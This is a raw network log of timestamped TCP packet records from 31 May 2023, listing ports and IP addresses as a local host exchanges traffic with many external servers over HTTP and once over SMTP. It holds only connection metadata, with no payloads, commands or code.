May 31, 2023 14:51:03.339256048 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.339307070 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.339396000 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.339447975 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.339466095 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.339510918 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.339595079 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.339648008 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.339715004 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.339766979 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.339802027 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.339854956 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.339960098 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.340015888 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.340075016 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.340127945 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.340156078 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.340202093 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.340292931 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.340343952 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.352049112 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.352195024 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.352878094 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.352911949 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.352931976 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.352951050 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.352972031 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.352971077 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.352989912 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353003025 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353009939 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353029013 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353049040 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353069067 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353074074 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353086948 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353092909 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353128910 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353143930 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353185892 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353285074 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353338003 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353360891 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353411913 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353471994 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353521109 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353624105 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353677034 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353734016 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353785992 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353837967 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353897095 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.353898048 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.353936911 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.354042053 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.354151011 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.354186058 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.354204893 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.354233027 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.354275942 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.354362965 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.354401112 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.354475021 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.354513884 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.354603052 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.354645014 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.354675055 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.354718924 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.354773998 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.354813099 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.354933023 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.354978085 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355036974 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.355077982 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355130911 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.355170012 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355278015 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.355319977 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355335951 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.355375051 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355439901 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.355479956 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355606079 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.355653048 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355679989 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.355716944 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355758905 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.355799913 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355875969 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.355917931 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.355993032 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.356035948 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.356121063 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.356165886 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.356216908 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.356261015 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.356307983 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.356354952 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.356430054 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.356448889 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.356473923 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.356499910 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.366835117 CEST	50060	80	192.168.2.3	173.254.28.29
May 31, 2023 14:51:03.502533913 CEST	80	49960	213.186.33.17	192.168.2.3
May 31, 2023 14:51:03.502803087 CEST	49960	80	192.168.2.3	213.186.33.17
May 31, 2023 14:51:03.529227018 CEST	50061	80	192.168.2.3	5.196.166.214
May 31, 2023 14:51:03.545686007 CEST	80	50060	173.254.28.29	192.168.2.3
May 31, 2023 14:51:03.545922041 CEST	50060	80	192.168.2.3	173.254.28.29
May 31, 2023 14:51:03.546331882 CEST	50060	80	192.168.2.3	173.254.28.29
May 31, 2023 14:51:03.570276976 CEST	80	50061	5.196.166.214	192.168.2.3
May 31, 2023 14:51:03.570457935 CEST	50061	80	192.168.2.3	5.196.166.214
May 31, 2023 14:51:03.571010113 CEST	50061	80	192.168.2.3	5.196.166.214
May 31, 2023 14:51:03.614026070 CEST	80	50061	5.196.166.214	192.168.2.3
May 31, 2023 14:51:03.614259005 CEST	50061	80	192.168.2.3	5.196.166.214
May 31, 2023 14:51:03.614787102 CEST	80	50061	5.196.166.214	192.168.2.3
May 31, 2023 14:51:03.614917994 CEST	50061	80	192.168.2.3	5.196.166.214
May 31, 2023 14:51:03.672892094 CEST	80	49934	147.154.0.23	192.168.2.3
May 31, 2023 14:51:03.673032045 CEST	49934	80	192.168.2.3	147.154.0.23
May 31, 2023 14:51:03.724905968 CEST	80	50060	173.254.28.29	192.168.2.3
May 31, 2023 14:51:03.730010033 CEST	80	50060	173.254.28.29	192.168.2.3
May 31, 2023 14:51:03.730211020 CEST	50060	80	192.168.2.3	173.254.28.29
May 31, 2023 14:51:03.751296043 CEST	50062	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:03.753676891 CEST	50060	80	192.168.2.3	173.254.28.29
May 31, 2023 14:51:03.768064022 CEST	80	50062	188.114.97.7	192.168.2.3
May 31, 2023 14:51:03.768297911 CEST	50062	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:03.768682957 CEST	50062	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:03.785142899 CEST	80	50062	188.114.97.7	192.168.2.3
May 31, 2023 14:51:03.797149897 CEST	80	50062	188.114.97.7	192.168.2.3
May 31, 2023 14:51:03.797354937 CEST	50062	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:03.798983097 CEST	50062	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:03.821105957 CEST	80	50062	188.114.97.7	192.168.2.3
May 31, 2023 14:51:03.821348906 CEST	50062	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:03.935576916 CEST	80	50060	173.254.28.29	192.168.2.3
May 31, 2023 14:51:03.935692072 CEST	50060	80	192.168.2.3	173.254.28.29
May 31, 2023 14:51:04.318862915 CEST	50025	80	192.168.2.3	39.99.233.155
May 31, 2023 14:51:04.338659048 CEST	80	50047	208.109.214.162	192.168.2.3
May 31, 2023 14:51:04.338758945 CEST	50047	80	192.168.2.3	208.109.214.162
May 31, 2023 14:51:04.357930899 CEST	50063	80	192.168.2.3	157.112.182.239
May 31, 2023 14:51:04.404212952 CEST	80	50004	202.254.236.40	192.168.2.3
May 31, 2023 14:51:04.404320002 CEST	50004	80	192.168.2.3	202.254.236.40
May 31, 2023 14:51:04.627188921 CEST	80	50063	157.112.182.239	192.168.2.3
May 31, 2023 14:51:04.627330065 CEST	50063	80	192.168.2.3	157.112.182.239
May 31, 2023 14:51:04.630516052 CEST	50063	80	192.168.2.3	157.112.182.239
May 31, 2023 14:51:04.867459059 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:04.867558956 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:04.899688005 CEST	80	50063	157.112.182.239	192.168.2.3
May 31, 2023 14:51:04.900984049 CEST	80	50063	157.112.182.239	192.168.2.3
May 31, 2023 14:51:04.901015043 CEST	80	50063	157.112.182.239	192.168.2.3
May 31, 2023 14:51:04.901048899 CEST	80	50063	157.112.182.239	192.168.2.3
May 31, 2023 14:51:04.901082039 CEST	50063	80	192.168.2.3	157.112.182.239
May 31, 2023 14:51:04.901134968 CEST	50063	80	192.168.2.3	157.112.182.239
May 31, 2023 14:51:05.459517002 CEST	50058	80	192.168.2.3	96.91.204.114
May 31, 2023 14:51:06.403733015 CEST	80	49983	213.186.33.17	192.168.2.3
May 31, 2023 14:51:06.403800964 CEST	49983	80	192.168.2.3	213.186.33.17
May 31, 2023 14:51:06.484765053 CEST	80	50028	195.78.66.50	192.168.2.3
May 31, 2023 14:51:06.484906912 CEST	50028	80	192.168.2.3	195.78.66.50
May 31, 2023 14:51:06.561511040 CEST	50064	25	192.168.2.3	87.248.97.36
May 31, 2023 14:51:06.600596905 CEST	25	50064	87.248.97.36	192.168.2.3
May 31, 2023 14:51:06.600709915 CEST	50064	25	192.168.2.3	87.248.97.36
May 31, 2023 14:51:06.603660107 CEST	50064	25	192.168.2.3	87.248.97.36
May 31, 2023 14:51:06.639729023 CEST	25	50064	87.248.97.36	192.168.2.3
May 31, 2023 14:51:06.641999006 CEST	25	50064	87.248.97.36	192.168.2.3
May 31, 2023 14:51:06.693979025 CEST	50064	25	192.168.2.3	87.248.97.36
May 31, 2023 14:51:06.734618902 CEST	49782	80	192.168.2.3	192.124.249.20
May 31, 2023 14:51:06.750272036 CEST	50065	80	192.168.2.3	192.124.249.20
May 31, 2023 14:51:06.750390053 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:06.753690958 CEST	80	49782	192.124.249.20	192.168.2.3
May 31, 2023 14:51:06.753770113 CEST	49782	80	192.168.2.3	192.124.249.20
May 31, 2023 14:51:06.760225058 CEST	50066	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:06.767020941 CEST	49780	80	192.168.2.3	104.21.23.9
May 31, 2023 14:51:06.769226074 CEST	80	50065	192.124.249.20	192.168.2.3
May 31, 2023 14:51:06.769331932 CEST	50065	80	192.168.2.3	192.124.249.20
May 31, 2023 14:51:06.784316063 CEST	80	49780	104.21.23.9	192.168.2.3
May 31, 2023 14:51:06.784431934 CEST	49780	80	192.168.2.3	104.21.23.9
May 31, 2023 14:51:06.789597988 CEST	50067	80	192.168.2.3	104.21.23.9
May 31, 2023 14:51:06.791821957 CEST	50065	80	192.168.2.3	192.124.249.20
May 31, 2023 14:51:06.795211077 CEST	50068	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:06.799851894 CEST	49781	80	192.168.2.3	70.39.251.249
May 31, 2023 14:51:06.806128979 CEST	80	50067	104.21.23.9	192.168.2.3
May 31, 2023 14:51:06.806226015 CEST	50067	80	192.168.2.3	104.21.23.9
May 31, 2023 14:51:06.810754061 CEST	80	50065	192.124.249.20	192.168.2.3
May 31, 2023 14:51:06.810833931 CEST	80	50065	192.124.249.20	192.168.2.3
May 31, 2023 14:51:06.810903072 CEST	50065	80	192.168.2.3	192.124.249.20
May 31, 2023 14:51:06.813796997 CEST	49779	80	192.168.2.3	80.93.82.33
May 31, 2023 14:51:06.839148998 CEST	50067	80	192.168.2.3	104.21.23.9
May 31, 2023 14:51:06.839895010 CEST	50069	80	192.168.2.3	70.39.251.249
May 31, 2023 14:51:06.843760967 CEST	80	49779	80.93.82.33	192.168.2.3
May 31, 2023 14:51:06.849359989 CEST	50070	80	192.168.2.3	80.93.82.33
May 31, 2023 14:51:06.855739117 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:06.855747938 CEST	80	50067	104.21.23.9	192.168.2.3
May 31, 2023 14:51:06.856446981 CEST	50065	80	192.168.2.3	192.124.249.20
May 31, 2023 14:51:06.858571053 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:06.866328001 CEST	80	50067	104.21.23.9	192.168.2.3
May 31, 2023 14:51:06.866405010 CEST	50067	80	192.168.2.3	104.21.23.9
May 31, 2023 14:51:06.875629902 CEST	80	50065	192.124.249.20	192.168.2.3
May 31, 2023 14:51:06.875721931 CEST	50065	80	192.168.2.3	192.124.249.20
May 31, 2023 14:51:06.879178047 CEST	80	50070	80.93.82.33	192.168.2.3
May 31, 2023 14:51:06.879307985 CEST	50070	80	192.168.2.3	80.93.82.33
May 31, 2023 14:51:06.905144930 CEST	80	49781	70.39.251.249	192.168.2.3
May 31, 2023 14:51:06.928395987 CEST	50046	80	192.168.2.3	198.100.146.220
May 31, 2023 14:51:06.937784910 CEST	50070	80	192.168.2.3	80.93.82.33
May 31, 2023 14:51:06.941611052 CEST	80	50068	3.94.41.167	192.168.2.3
May 31, 2023 14:51:06.941720009 CEST	50068	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:06.945372105 CEST	80	50069	70.39.251.249	192.168.2.3
May 31, 2023 14:51:06.945492029 CEST	50069	80	192.168.2.3	70.39.251.249
May 31, 2023 14:51:06.967963934 CEST	50068	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:06.968209028 CEST	80	50070	80.93.82.33	192.168.2.3
May 31, 2023 14:51:06.968339920 CEST	50070	80	192.168.2.3	80.93.82.33
May 31, 2023 14:51:06.968549967 CEST	50069	80	192.168.2.3	70.39.251.249
May 31, 2023 14:51:06.969999075 CEST	50072	80	192.168.2.3	137.118.26.67
May 31, 2023 14:51:07.022598982 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.027445078 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.027882099 CEST	50066	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:07.028712988 CEST	50070	80	192.168.2.3	80.93.82.33
May 31, 2023 14:51:07.040919065 CEST	50066	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:07.058945894 CEST	80	50070	80.93.82.33	192.168.2.3
May 31, 2023 14:51:07.059417009 CEST	50070	80	192.168.2.3	80.93.82.33
May 31, 2023 14:51:07.073900938 CEST	80	50069	70.39.251.249	192.168.2.3
May 31, 2023 14:51:07.074807882 CEST	80	50069	70.39.251.249	192.168.2.3
May 31, 2023 14:51:07.074927092 CEST	50069	80	192.168.2.3	70.39.251.249
May 31, 2023 14:51:07.091167927 CEST	49783	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:07.113328934 CEST	80	50068	3.94.41.167	192.168.2.3
May 31, 2023 14:51:07.113363028 CEST	80	50068	3.94.41.167	192.168.2.3
May 31, 2023 14:51:07.113413095 CEST	50068	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:07.113450050 CEST	50068	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:07.114294052 CEST	80	49783	34.117.168.233	192.168.2.3
May 31, 2023 14:51:07.114404917 CEST	49783	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:07.129034042 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.133183956 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.139791965 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.139944077 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.207617998 CEST	49788	80	192.168.2.3	172.67.73.176
May 31, 2023 14:51:07.217045069 CEST	50068	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:07.224361897 CEST	80	49788	172.67.73.176	192.168.2.3
May 31, 2023 14:51:07.224556923 CEST	49788	80	192.168.2.3	172.67.73.176
May 31, 2023 14:51:07.270787001 CEST	50069	80	192.168.2.3	70.39.251.249
May 31, 2023 14:51:07.270859003 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.272072077 CEST	50073	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:07.273788929 CEST	50074	80	192.168.2.3	172.67.73.176
May 31, 2023 14:51:07.279400110 CEST	50075	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:07.286936045 CEST	80	50073	34.117.168.233	192.168.2.3
May 31, 2023 14:51:07.287038088 CEST	50073	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:07.290240049 CEST	80	50074	172.67.73.176	192.168.2.3
May 31, 2023 14:51:07.290936947 CEST	50074	80	192.168.2.3	172.67.73.176
May 31, 2023 14:51:07.295356035 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309401989 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309437990 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309458017 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309475899 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309494972 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309513092 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309533119 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309534073 CEST	50066	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:07.309552908 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309572935 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309581041 CEST	50066	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:07.309592962 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.309602022 CEST	50066	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:07.309631109 CEST	50066	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:07.316123962 CEST	50073	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:07.316154003 CEST	50074	80	192.168.2.3	172.67.73.176
May 31, 2023 14:51:07.329526901 CEST	49787	80	192.168.2.3	170.82.173.30
May 31, 2023 14:51:07.331016064 CEST	80	50073	34.117.168.233	192.168.2.3
May 31, 2023 14:51:07.332674980 CEST	80	50074	172.67.73.176	192.168.2.3
May 31, 2023 14:51:07.337749004 CEST	50076	80	192.168.2.3	170.82.173.30
May 31, 2023 14:51:07.340195894 CEST	49784	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:07.341378927 CEST	50077	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:07.344199896 CEST	49786	80	192.168.2.3	213.186.33.17
May 31, 2023 14:51:07.345366001 CEST	50078	80	192.168.2.3	213.186.33.17
May 31, 2023 14:51:07.347248077 CEST	80	50074	172.67.73.176	192.168.2.3
May 31, 2023 14:51:07.347371101 CEST	50074	80	192.168.2.3	172.67.73.176
May 31, 2023 14:51:07.348754883 CEST	50074	80	192.168.2.3	172.67.73.176
May 31, 2023 14:51:07.350847006 CEST	80	50073	34.117.168.233	192.168.2.3
May 31, 2023 14:51:07.350908041 CEST	50073	80	192.168.2.3	34.117.168.233
May 31, 2023 14:51:07.357158899 CEST	80	49784	188.114.97.7	192.168.2.3
May 31, 2023 14:51:07.357767105 CEST	49784	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:07.357785940 CEST	80	50077	188.114.97.7	192.168.2.3
May 31, 2023 14:51:07.357882977 CEST	50077	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:07.362348080 CEST	80	50068	3.94.41.167	192.168.2.3
May 31, 2023 14:51:07.369736910 CEST	80	50074	172.67.73.176	192.168.2.3
May 31, 2023 14:51:07.371206999 CEST	50074	80	192.168.2.3	172.67.73.176
May 31, 2023 14:51:07.376358032 CEST	80	49786	213.186.33.17	192.168.2.3
May 31, 2023 14:51:07.376878977 CEST	80	50069	70.39.251.249	192.168.2.3
May 31, 2023 14:51:07.377021074 CEST	50069	80	192.168.2.3	70.39.251.249
May 31, 2023 14:51:07.377139091 CEST	80	50078	213.186.33.17	192.168.2.3
May 31, 2023 14:51:07.377213955 CEST	50078	80	192.168.2.3	213.186.33.17
May 31, 2023 14:51:07.425762892 CEST	80	50075	3.94.41.167	192.168.2.3
May 31, 2023 14:51:07.427855015 CEST	50075	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:07.437963009 CEST	50077	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:07.454539061 CEST	80	50077	188.114.97.7	192.168.2.3
May 31, 2023 14:51:07.458743095 CEST	50078	80	192.168.2.3	213.186.33.17
May 31, 2023 14:51:07.465137005 CEST	80	49787	170.82.173.30	192.168.2.3
May 31, 2023 14:51:07.473380089 CEST	80	50076	170.82.173.30	192.168.2.3
May 31, 2023 14:51:07.474277973 CEST	50076	80	192.168.2.3	170.82.173.30
May 31, 2023 14:51:07.474802971 CEST	80	50077	188.114.97.7	192.168.2.3
May 31, 2023 14:51:07.474898100 CEST	50077	80	192.168.2.3	188.114.97.7
May 31, 2023 14:51:07.492461920 CEST	80	50078	213.186.33.17	192.168.2.3
May 31, 2023 14:51:07.492492914 CEST	80	50078	213.186.33.17	192.168.2.3
May 31, 2023 14:51:07.492511034 CEST	80	50078	213.186.33.17	192.168.2.3
May 31, 2023 14:51:07.492593050 CEST	50078	80	192.168.2.3	213.186.33.17
May 31, 2023 14:51:07.492647886 CEST	50078	80	192.168.2.3	213.186.33.17
May 31, 2023 14:51:07.542040110 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.543267965 CEST	50075	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:07.545890093 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.545919895 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.545938969 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.545958042 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.545975924 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.545994043 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.546062946 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.546103001 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.546196938 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.546217918 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.546236992 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.546243906 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.546257019 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.546277046 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.546305895 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.576610088 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.576643944 CEST	80	50066	59.106.19.204	192.168.2.3
May 31, 2023 14:51:07.576765060 CEST	50066	80	192.168.2.3	59.106.19.204
May 31, 2023 14:51:07.622009039 CEST	50076	80	192.168.2.3	170.82.173.30
May 31, 2023 14:51:07.652215958 CEST	80	49982	170.82.174.30	192.168.2.3
May 31, 2023 14:51:07.653175116 CEST	49982	80	192.168.2.3	170.82.174.30
May 31, 2023 14:51:07.688705921 CEST	80	50075	3.94.41.167	192.168.2.3
May 31, 2023 14:51:07.688740969 CEST	80	50075	3.94.41.167	192.168.2.3
May 31, 2023 14:51:07.688899994 CEST	50075	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:07.757714033 CEST	80	50076	170.82.173.30	192.168.2.3
May 31, 2023 14:51:07.817328930 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.817364931 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.817384958 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.817404032 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.817424059 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.817444086 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.817442894 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.817464113 CEST	80	50071	118.27.125.181	192.168.2.3
May 31, 2023 14:51:07.821121931 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.821121931 CEST	50071	80	192.168.2.3	118.27.125.181
May 31, 2023 14:51:07.827831030 CEST	80	50076	170.82.173.30	192.168.2.3
May 31, 2023 14:51:07.827935934 CEST	50076	80	192.168.2.3	170.82.173.30
May 31, 2023 14:51:07.862314939 CEST	50075	80	192.168.2.3	3.94.41.167
May 31, 2023 14:51:08.007898092 CEST	80	50075	3.94.41.167	192.168.2.3
May 31, 2023 14:51:08.207803011 CEST	50076	80	192.168.2.3	170.82.173.30
May 31, 2023 14:51:08.337869883 CEST	49790	80	192.168.2.3	62.122.190.121
May 31, 2023 14:51:08.343327045 CEST	80	50076	170.82.173.30	192.168.2.3
May 31, 2023 14:51:08.372056961 CEST	80	49790	62.122.190.121	192.168.2.3
May 31, 2023 14:51:08.382806063 CEST	80	50076	170.82.173.30	192.168.2.3
May 31, 2023 14:51:08.383717060 CEST	49793	80	192.168.2.3	104.26.15.53
